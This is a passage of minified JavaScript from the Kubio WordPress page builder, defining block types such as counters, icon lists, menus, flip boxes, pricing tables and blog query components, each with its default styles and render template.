font-awesome/star"}},supports:{kubio:{appearanceEffect:!1,default:{style:{descendants:{"progress-bar-number-wrapper":{justifyContent:"center"},title:{justifyContent:"center"},"counter-wrapper":{justifyContent:"center"},progressBarNumber:{justifyContent:"center"},icon:{width:{value:12,unit:"px"},height:{value:12,unit:"px"},margin:{right:{value:10,unit:"px"}}}}},props:{counterPosition:"same",titlePosition:"above",icon:{enabled:!1,position:"before"},counterType:"number",decimals:"todo",width:{value:200,unit:"px"},height:{value:10,unit:"px"},animationDuration:{value:2,unit:"px"},colorIn:"rgba(var(--kubio-color-2),1)",colorOut:"rgba(var(--kubio-color-1),1)",counterEmptyColor:"#ccc",titleAlign:"center"}},elementsEnum:{EDITOR_WRAPPER:"editorWrapper",OUTER:"outer",COUNTER:"counter",COUNTER_CONTAINER:"counterContainer",SIMPLE_COUNTER:"simpleCounter",COUNTERWRAPPER:"counter-wrapper",ICON:"icon",TITLE:"title",SIMPLE_TITLE:"simpleTitle",CIRCLE_TITLE:"circleTitle",BAR_TITLE:"barTitle",CIRCLE_COUNTER_WRAPPER:"circleCounterWrapper",TITLE_COUNTER_BAR:"titleCounterBar",PROGRESS_BAR:"progressBar",PROGRESS_BAR_CONTAINER:"progressBarContainer",PROGRESS_BAR_NUMBER:"progressBarNumber",PROGRESS_BAR_WRAPPER:"progressBarWrapper"},elementsByName:{editorWrapper:{wrapper:!0},outer:{default:!0,props:{className:"kubio-counter__outer"}},"counter-wrapper":{props:{className:["d-flex","align-items-center"]}},counter:{},counterContainer:{},icon:{props:{tag:"icon"}},title:{props:{className:["d-flex"]}},simpleCounter:{selector:".simple-counter"},circleCounter:{selector:".circle-counter"},barCounter:{selector:".bar-counter"},simpleTitle:{selector:".title-number"},circleTitle:{selector:".title-circle"},barTitle:{selector:".title-bar"},circleCounterWrapper:{props:{className:["h-circle-progress"]}},progressBarWrapper:{},titleCounterBar:{props:{className:["title-counter-bar","d-flex"]}},progressBar:{props:{className:["h-bar-progress"]}},progressBarContainer:{props:{className:["progress"]}},progressBarNumber:{props:{className:["progress-number"]}}},template:{type:"element",props:{name:"editorWrapper"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"counterContainer",shouldRender:"computed.showNumber"},children:[{type:"element",props:{name:"title",className:["title-number"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["simple-counter"]}}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showCircle"},children:[{type:"element",props:{name:"circleCounterWrapper"},children:[{type:"element",props:{name:"title",className:["title-circle"]}},{type:"element",props:{name:"counter-wrapper"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showIcon"}},{type:"element",props:{name:"counter",className:["circle-counter"]}}]}]}]},{type:"element",props:{name:"counterContainer",shouldRender:"computed.showBar"},children:[{type:"element",props:{name:"titleCounterBar"},children:[{type:"element",props:{name:"title",className:["title-bar"]}},{type:"element",props:{name:"counter",className:["bar-counter"],shouldRender:"computed.showCounterWithTitle"}}]},{type:"element",props:{name:"progressBarWrapper"},children:[{type:"element",props:{name:"progressBarContainer"},children:[{type:"element",props:{name:"progressBar"}}]},{type:"element",props:{name:"progressBarNumber",shouldRender:"computed.showCounterInside"},children:[{type:"element",props:{name:"counter",className:["bar-counter"]}}]}]}]}]}]}}}},{name:co}={name:"kubio/icon",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},name:{type:"string",default:"font-awesome/star"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{wrapper:!0},inner:{default:!0,props:{tag:"icon",className:["h-global-transition"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"inner"}}]}]},default:{style:{descendants:{inner:{width:{value:"100",unit:"px"},height:{value:"100",unit:"px"}}}}}}}},{name:so}={name:"kubio/iconlist",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{flexDirection:"column",justifyContent:"center",alignContent:"center"},item:{},icon:{width:{value:16,unit:"px"},height:{value:16,unit:"px"}},text:{margin:{left:{unit:"px",value:10}}},"divider-wrapper":{alignItems:"center"},"text-wrapper":{alignItems:"center"},divider:{border:{bottom:{style:"solid",width:{value:1,unit:"px"}},left:{style:"solid",width:{value:1,unit:"px"}}}}}},props:{divider:{enabled:!1}}},elementsEnum:{OUTER:"outer",ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{outer:{wrapper:!0,default:!0,props:{tag:"ul",className:"ul-list-icon"}},item:{selector:" .wp-block-kubio-iconlistitem__item"},text:{selector:".wp-block-kubio-iconlistitem__text"},"text-wrapper":{selector:" .wp-block-kubio-iconlistitem__text-wrapper"},icon:{selector:".wp-block-kubio-iconlistitem__icon"},link:{selector:{normal:"a",hover:"a:hover, a:hover .wp-block-kubio-iconlistitem__text",visited:"a:visited, a:visited .wp-block-kubio-iconlistitem__text"}},divider:{selector:" .wp-block-kubio-iconlistitem__divider"},"divider-wrapper":{selector:" .wp-block-kubio-iconlistitem__divider-wrapper"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:uo}={name:"kubio/iconlistitem",category:"kubio-basic",usesContext:["text","icon"],parent:["kubio/iconlist"],attributes:{kubio:{type:"object"},text:{type:"string",source:"html",default:"Icon List item"},icon:{type:"string",default:"font-awesome/plus"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},useForAll:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{},props:{}},elementsEnum:{ITEM:"item",LINK:"link",ICON:"icon",TEXT:"text",DIVIDER:"divider",DIVIDERWRAPPER:"divider-wrapper",TEXTWRAPPER:"text-wrapper"},elementsByName:{item:{wrapper:!1,default:!0,props:{tag:"li"}},link:{props:{tag:"a"}},icon:{props:{tag:"icon"}},text:{props:{tag:"span"}},"text-wrapper":{},"divider-wrapper":{},divider:{}},template:{type:"element",props:{name:"item"},children:[{type:"element",props:{name:"divider-wrapper",className:["first-el-spacer"],shouldRender:"computed.isFirstChild"}},{type:"LinkWrapper",children:[{type:"element",props:{name:"text-wrapper"},children:[{type:"element",props:{name:"icon"}},{type:"element",props:{name:"text"}}]}]},{type:"element",props:{name:"divider-wrapper",className:["last-el-spacer"],shouldRender:"computed.isLastChild"}},{type:"element",props:{name:"divider-wrapper"},children:[{type:"element",props:{name:"divider",shouldRender:"computed.dividerEnabled"}}]}]}}}},{name:po}={name:"kubio/menu-items",category:"kubio-basic",attributes:{location:{type:"string",default:""},id:{type:"number",default:0},kubio:{type:"object"}},supports:{kubio:{stylingDisabled:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-menu"]}}},template:{type:"element",props:{name:"outer"}},supports:{advanced:{responsive:!1}}}},usesContext:["kubio/hideSubmenu"]},{name:bo}={name:"kubio/dropdown-menu",category:"kubio-components",attributes:{kubio:{type:"object"},templateLock:{type:"string"},hideSubmenu:{type:"boolean",default:!1},showOffscreenMenuOn:{type:"string",default:""}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"sub-menu-a":{border:{bottom:{style:"none"}}}}}},elementsEnum:{SUB_MENU_A:"sub-menu-a",OUTER:"outer",HOVER_EFFECT_BORDER:"hover-effect-border",HOVER_EFFECT_BACKGROUND:"hover-effect-background"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-dropdown-menu","h-ignore-global-body-typography"]}},"hover-effect-border":{selector:"&.bordered-active-item > .kubio-menu > ul > li::before, &.bordered-active-item > .kubio-menu > ul > li::after"},"hover-effect-background":{selector:"&.solid-active-item > .kubio-menu > ul > li::before, &.solid-active-item > .kubio-menu > ul > li::after"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},supports:{advanced:{responsive:!0}}}}},{name:mo}={name:"kubio/accordion-menu",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},typography:{size:{value:14,unit:"px"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}}},"sub-menu-a":{border:{bottom:{width:{unit:"px",value:"1"},style:"solid",color:"#808080"},top:{style:"solid",color:"#808080"},left:{style:"solid",color:"#808080"},right:{style:"solid",color:"#808080"}},padding:{top:{unit:"px",value:"12"},bottom:{unit:"px",value:"12"},left:{unit:"px",value:"40"}},typography:{size:{value:14,unit:"px"}}},"main-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"sub-menu-icon":{padding:{left:{value:20,unit:"px"},right:{value:20,unit:"px"}}},"main-menu-ul":{"--kubio-accordion-menu-offset":{value:10,unit:"px"}}}}},elementsEnum:{OUTER:"outer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["kubio-accordion-menu","h-ignore-global-body-typography"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:ho}={name:"kubio/menu-offscreen",category:"kubio-basic",attributes:{kubio:{type:"object"},openSide:{type:"string",default:"right"},icon:{type:"string",default:"font-awesome/navicon"}},supports:{kubio:{default:{style:{descendants:{offscreen:{background:{color:"#222B34"},width:{value:300,unit:"px",important:!0}},offscreenOverlay:{background:{color:"rgba(0,0,0,0.5)"}},icon:{background:{color:"rgba(0, 0, 0, 0.1)"},border:{top:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"},left:{width:{value:"0",unit:"px"},style:"solid",color:"black"},right:{width:{value:"0",unit:"px"},style:"solid",color:"black"},bottom:{radius:{left:{unit:"%",value:"100"},right:{unit:"%",value:"100"}},width:{value:"0",unit:"px"},style:"solid",color:"black"}},fill:"white",padding:{top:{unit:"px",value:"5"},bottom:{unit:"px",value:"5"},left:{unit:"px",value:"5"},right:{unit:"px",value:"5"}},width:{unit:"px",value:"24"},height:{unit:"px",value:"24"}}}}},elementsEnum:{CONTAINER:"container",OFFSCREEN:"offscreen",OFFSCREEN_OVERLAY:"offscreenOverlay",ICON_WRAPPER:"iconWrapper",ICON:"icon",ALIGN:"align"},elementsByName:{container:{wrapper:!0},iconWrapper:{props:{tag:"button",className:["kubio-offscreen-icon-wrapper"]}},icon:{default:!0,props:{tag:"icon"}},offscreen:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen","offscreen"]}},offscreenOverlay:{useWrapperPrefix:!1,usePrefix:!1,props:{className:["kubio-offscreen-overlay"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"align"},children:[{type:"element",props:{name:"iconWrapper"},children:[{type:"element",props:{name:"icon"}}]}]},{type:"element",props:{name:"offscreenOverlay"}},{type:"element",props:{name:"offscreen"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:Oo}={name:"kubio/menu-offscreen-content",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{default:!0,wrapper:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},{name:go}={name:"kubio/map",category:"kubio-components",attributes:{kubio:{type:"object"},address:{type:"string",default:"New York"},apiKey:{type:"string",default:""},zoom:{type:"object",default:{value:5}}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{outer:{height:{value:350,unit:"px"}}}}},elementsEnum:{OUTER:"outer",WRAPPER:"wrapper",IFRAME:"iframe"},elementsByName:{outer:{wrapper:!0,default:!0},wrapper:{},iframe:{props:{className:["map-iframe"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"wrapper"},children:[{type:"element",props:{name:"iframe",tag:"iframe"}}]}]}}}},{name:yo}={name:"kubio/copyright",category:"kubio-site-data",attributes:{kubio:{type:"object"},template:{type:"string",source:"html",default:'© {year} {site-name}. Created with ❤️ using WordPress and <a target="_blank" href="https://kubiobuilder.com" rel="noreferrer">Kubio</a>'}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",CONTAINER:"container"},elementsByName:{outer:{wrapper:!0},container:{default:!0,selector:"p"}},template:{type:"element",props:{name:"outer"}}}}},{name:jo}={name:"kubio/flipbox",title:"Flip Box",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{hover:{animation:{duration:{value:1e3,unit:"ms"}}},normal:{animation:{duration:{value:1e3,unit:"ms"}}}}},props:{layout:{normal:{vSpace:{unit:"px",value:20}},hover:{vSpace:{unit:"px",value:20}}},hover:{effect:{type:"fadeIn",direction:""}}}},elementsEnum:{CONTAINER:"container",INNER:"inner",NORMAL:"normal",HOVER:"hover"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["d-flex","flipbox","d-flipbox-container"]}},inner:{props:{className:["d-flex","w-100","position-relative","border-radius-inherit","animation-overflow"]}},normal:{selector:".h-flipbox-content-container"},hover:{selector:" .h-flipbox-hover-container"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:ko}={name:"kubio/flipboxcontent",category:"kubio-basic",parent:["kubio/flipbox"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{minHeight:{value:"300",unit:"px"}}}},props:{layout:{verticalAlign:"center"}}},elementsEnum:{CONTAINER:"container",INNER:"inner",VSPACE:"v-space"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["front","d-flex","animated","h-flipbox-content-container","h-hide-animation","border-radius-inherit"]}},inner:{props:{className:["h-y-container"]}},"v-space":{selector:" .wp-block-kubio-flipboxcontent__inner > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Eo}={name:"kubio/flipboxhover",category:"kubio-basic",parent:["kubio/flipbox"],attributes:{kubio:{type:"object"},link:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{display:"none",position:"absolute",width:{value:100,unit:"%"},height:{value:100,unit:"%"}}}},props:{customPosition:"topLeft",layout:{verticalAlign:"center"}}},elementsEnum:{CONTAINER:"container",INNER:"inner",VSPACE:"v-space"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["back","d-flex","h-flipbox-hover-container","animated","border-radius-inherit"]}},inner:{props:{className:["h-y-container"]}},"v-space":{selector:" .wp-block-kubio-flipboxhover__inner > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:fo}={name:"kubio/social-icons",category:"kubio-components",attributes:{kubio:{type:"object"},groupStyles:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",ICON:"icon"},elementsByName:{outer:{props:{className:["social-icons--container"]},wrapper:!0,default:!0},icon:{selector:".h-svg-icon"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{props:{styleType:"shared"},style:{descendants:{outer:{textAlign:"center"},icon:{fill:"rgba(0, 0, 0, 0.5)",size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}}}}}}},{name:vo}={name:"kubio/social-icon",category:"kubio-basic",parent:["kubio/social-icons"],attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:"socicon/facebook"}}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon"},elementsByName:{link:{wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["social-icon-link"]}},icon:{default:!0,prefixWithTag:!0,props:{tag:"icon",htmlTag:"span"},size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon"}}]},useParentPrefix:!0}}},{name:_o}={name:"kubio/pricing",category:"kubio-components",attributes:{kubio:{type:"object"},currentSymbol:{type:"string",default:"dollar"},customSymbol:{type:"string",default:""},currentPrice:{type:"string",default:"89.99"},currencyFormat:{type:"string",default:"formatOne"},sale:{type:"boolean",default:!0},originalPrice:{type:"string",default:"99.99"},preserveSpace:{type:"object",default:{current:!1,original:!1}}},supports:{kubio:{appearanceEffect:!0,default:{props:{verticalAlign:{current:{decimal:"start",symbol:"center"},original:{price:"center",decimal:"start",symbol:"center"}}},style:{descendants:{container:{justifyContent:"center"},currentPrice:{typography:{size:{value:50}}},currentSymbol:{typography:{size:{value:50}}},currentDecimal:{typography:{size:{value:30}}},originalPrice:{typography:{size:{value:30}}},originalPriceSymbol:{typography:{size:{value:30}}},originalPriceDecimal:{typography:{size:{value:15}}}}}},elementsEnum:{CONTAINER:"container",CURRENT_PRICE:"currentPrice",CURRENT_DECIMAL:"currentDecimal",CURRENT_SYMBOL:"currentSymbol",ORIGINAL_PRICE_INNER:"originalPriceInner",ORIGINAL_PRICE:"originalPrice",ORIGINAL_PRICE_DECIMAL:"originalPriceDecimal",ORIGINAL_PRICE_SYMBOL:"originalPriceSymbol"},elementsByName:{container:{wrapper:!0,default:!0},currentPrice:{props:{className:["d-flex"]}},currentDecimal:{props:{className:["align-self-start"]}},currentSymbol:{},originalPrice:{},originalPriceInner:{},originalPriceDecimal:{},originalPriceSymbol:{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"originalPrice",shouldRender:"computed.sale"},children:[{type:"element",props:{name:"originalPriceSymbol"}},{type:"element",props:{name:"originalPriceInner"}},{type:"element",props:{name:"originalPriceDecimal"}}]},{type:"element",props:{name:"currentSymbol"}},{type:"element",props:{name:"currentPrice"}},{type:"element",props:{name:"currentDecimal"}}]}}}},{name:Co}={name:"kubio/pricing-table",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{fullBackground:!0,layout:{equalWidth:!0,equalHeight:!0,itemsPerRow:3}}},elementsEnum:{RIBBON_TEXT:"ribbon-text",RIBBON_ICON:"ribbon-icon",RIBBON_WRAPPER:"ribbon-wrapper"},elementsByName:{"ribbon-wrapper":{props:{className:["ribbon-wrapper"]}}}}}},{name:Io}={name:"kubio/pricing-table-item",parent:["kubio/pricing-table"],category:"kubio-layout",attributes:{slug:{type:"string",default:"pricing-table-item-title"},title:{type:"string",default:"Pricing table item"},ribbon:{type:"object",default:{text:"Sale",icon:"font-awesome/star"}}},supports:{kubio:{appearanceEffect:!0,default:{props:{ribbon:{type:"text",position:"right"}},style:{descendants:{container:{margin:{top:{value:15,unit:"px"}}},"ribbon-text":{margin:{top:{value:40,unit:"px"}},height:{value:45,unit:"px"}},"ribbon-icon":{size:{value:30,unit:"px"}},"triangle-top":{border:{top:{width:{value:80,unit:"px"}},left:{width:{value:80,unit:"px"}},right:{width:{value:80,unit:"px"}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align",RIBBON:"ribbon",RIBBON_TEXT:"ribbon-text",RIBBON_TEXT_OUTSIDE:"ribbon-text-outside",TRIANGLE_TOP:"triangle-top",RIBBON_ICON:"ribbon-icon",RIBBON_WRAPPER:"ribbon-wrapper"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"},ribbon:{},"ribbon-wrapper":{props:{className:["price-ribbon-wrapper"]}},"ribbon-icon":{props:{className:["ribbon-icon"],tag:"icon"}},"ribbon-text":{props:{className:["ribbon-text"]}},"ribbon-text-outside":{props:{className:["ribbon-text__outside"]}},"triangle-top":{props:{className:["triangle-top"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"ribbon-wrapper"},children:[{type:"element",props:{name:"ribbon"},children:[{type:"element",props:{name:"ribbon-text-outside",shouldRender:"computed.isRibbonText"},children:[{type:"element",props:{name:"ribbon-text"}}]},{type:"element",props:{name:"triangle-top",shouldRender:"computed.isRibbonIcon"},children:[{type:"element",props:{name:"ribbon-icon"}}]}]}]},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:To}={apiVersion:2,name:"kubio/query",category:"kubio-layout",attributes:{queryId:{type:"number"},useMainQuery:{type:"boolean",default:!1},query:{type:"object",default:{perPage:null,pages:1,offset:0,postType:"post",categoryIds:[],tagIds:[],order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:""}}},providesContext:{queryId:"queryId",query:"query",useMainQuery:"useMainQuery"},usesContext:["postId"],supports:{inserter:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}}}},{name:So}={name:"kubio/query-loop",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery","postId","postType"],attributes:{kubio:{type:"object",default:{props:{layout:{equalWidth:!0,equalHeight:!1,itemsPerRow:3,verticalAlign:"start"}}}},masonry:{type:"boolean",default:!1},notFound:{type:"string"}},supports:{kubio:{defaults:{style:{descendants:{notfound:{typography:{},margin:{top:{value:250,unit:"px"},bottom:{value:250,unit:"px"}}}}}},elementsEnum:{NO_FOUND:"notfound"},elementsByName:{notfound:{selector:".kubio-empty-query-result"}}},reusable:!1,html:!1}},{name:wo}={name:"kubio/query-loop-item",attributes:{slug:{type:"string",default:"default"},label:{type:"string",default:"Default"}},parent:["kubio/query-loop"],category:"kubio-layout",usesContext:["queryId","query","queryContext","kubio/parentKubio"]},{name:Po}={apiVersion:2,name:"kubio/query-pagination",category:"kubio-blog-components",usesContext:["queryId","query","queryContext","useMainQuery"]},{name:Ao}={name:"kubio/query-layout",category:"kubio-blog-components"},{name:Bo}={name:"kubio/post-excerpt",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{wordCount:{type:"number",default:16}},supports:{kubio:{appearanceEffect:!0,elementsByName:{text:{default:!0,wrapper:!0,selector:!1,selectorPrepend:!1}}}}},{name:No}={name:"kubio/post-tags",category:"kubio-blog-components",attributes:{kubio:{type:"object"},placeholder:{type:"string",default:"No tag"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-tags-container"]}},link:{selector:"a",props:{className:["kubio-post-tags-link"]}},placeholder:{props:{className:["kubio-post-tags-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},{name:xo}={name:"kubio/post-categories",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"-"},placeholder:{type:"string",default:"No category"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{margin:{right:{value:10,unit:"px"},left:{value:10,unit:"px"}}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",SEPARATOR:"separator",PLACEHOLDER:"placeholder",TAGS:"tags"},elementsByName:{container:{wrapper:!0,default:!0,props:{className:["kubio-post-categories-container"]}},link:{selector:"a"},separator:{selector:".separator"},placeholder:{props:{className:["kubio-post-categories-placeholder"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"placeholder"}},{type:"element",props:{name:"tags"}}]}}}},{name:Ro}={name:"kubio/post-meta",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"|"},showIcons:{type:"boolean",default:!0},dateFormat:{type:"string",default:"F j, Y"},editorContext:{type:"object"},metadata:{type:"array",default:[{value:"author",name:"Author",check:!0,icon:"font-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:"Date",check:!0,icon:"font-awesome/calendar",id:1,prefix:"",suffix:""},{value:"time",name:"Time",check:!0,icon:"font-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:"Comments",check:!0,icon:"font-awesome/comment",id:3,prefix:"",suffix:""}]}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icons:{width:{value:20,unit:"px"},height:{value:20,unit:"px"},margin:{right:{value:5,unit:"px"}}},separators:{padding:{left:{value:5,unit:"px"},right:{value:5,unit:"px"}}}}},props:{}},elementsEnum:{METADATACONTAINER:"metaDataContainer",METADATALINKS:"metaDataLinks",METADATAPREFIX:"metaDataPrefix",METADATASUFFIX:"metaDataSuffix",ICONS:"icons",SEPARATORS:"separators"},elementsByName:{metaDataContainer:{wrapper:!0,default:!0,props:{className:["h-blog-meta"]}},metaDataLinks:{selector:"a"},metaDataPrefix:{selector:".metadata-prefix"},metaDataSuffix:{selector:".metadata-suffix"},icons:{selector:".h-svg-icon"},separators:{selector:".metadata-separator"}},template:{type:"element",props:{name:"metaDataContainer"}}}}},{name:Do}={name:"kubio/divider",category:"kubio-basic",attributes:{kubio:{type:"object"},iconName:{type:"string"}},supports:{kubio:{appearanceEffect:!0,default:{props:{type:"icon"},style:{descendants:{line:{border:{top:{style:"none"},left:{style:"none"},right:{style:"none"},bottom:{color:"rgba(var(--kubio-color-1),1)",style:"solid",width:{value:3,unit:"px"}}}},"width-container":{width:{value:100,unit:"px"}},outer:{padding:{top:{value:10,unit:"px"},bottom:{value:10,unit:"px"}}},inner:{fill:"rgba(var(--kubio-color-1),1)",width:{value:40,unit:"px"},height:{value:40,unit:"px"},margin:{left:{value:"10",unit:"px"},right:{value:"10",unit:"px"}}}}}},elementsEnum:{OUTER:"outer",LINE:"line",INNER:"inner",WIDTH_CONTAINER:"width-container"},elementsByName:{outer:{wrapper:!0,default:!0,className:["kubio-divider"]},"width-container":{internal:!0},line:{className:["canvas-divider"]},inner:{props:{tag:"icon"}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"width-container"},children:[{type:"element",props:{name:"line"}},{type:"element",props:{name:"inner",shouldRender:"computed.iconEnabled"}},{type:"element",props:{name:"line",shouldRender:"computed.iconEnabled"}}]}]}}}},{name:Lo}={name:"kubio/spacer",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{container:{height:{value:50,unit:"px"}}}},props:{}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,className:"kubio-spacer"}},template:{type:"element",props:{name:"container"}}}}},{name:Mo}={name:"kubio/carousel",category:"kubio-components",supports:{kubio:{default:{props:{layout:{horizontalGap:2,verticalGap:3,horizontalInnerGap:2,verticalInnerGap:2}}}}}},{name:Wo}={name:"kubio/carousel-item",category:"kubio-components"},{name:Ho}={name:"kubio/post-title",category:"kubio-blog-components",attributes:{kubio:{type:"object"},headingType:{type:"string",default:"h2"}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{link:{typography:{decoration:"none"}}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link"},elementsByName:{container:{tag:"h2",selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,wrapper:!0,default:!0},link:{prefixWithTag:!0,internal:!0,props:{className:["d-block"],tag:"a"}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"container"}}]}}}},{name:Go}={name:"kubio/post-featured-image",category:"kubio-blog-components",attributes:{kubio:{type:"object"},showPlaceholder:{type:"boolean",default:!1},imageSize:{type:"string",default:"cover"},addLink:{type:"boolean",default:!1}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{background:{color:"#F79007"},textAlign:"center",height:{value:300,unit:"px"}},image:{object:{position:"center center",fit:"cover"}}}},props:{aspectRatio:"16-9",verticalAlign:"center"}},elementsEnum:{INNER:"inner",CONTAINER:"container",IMAGE:"image",ALIGN:"align"},elementsByName:{container:{default:!0,wrapper:!0,props:{tag:"figure"}},inner:{},image:{props:{tag:"img"}},align:{props:{className:["h-y-container"]}}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{shouldRender:"computed.showImage",name:"image"}},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:Uo}={name:"kubio/read-more-button",category:"kubio-blog-components",usesContext:["postId","postType"],parent:null,supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icon:{size:{value:16},margin:{left:{value:10},right:{value:10}}}}}},elementsEnum:{SPACING:"spacing"},elementsByName:{spacing:{tag:"div",className:["h-w-100"],wrapper:!1,default:!1}},template:{type:"element",props:{name:"spacing"},children:[{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon",shouldRender:"computed.showBeforeIcon"}},{type:"element",props:{name:"text"}},{type:"element",props:{name:"icon",shouldRender:"computed.showAfterIcon"}}]}]}]}}}},{nam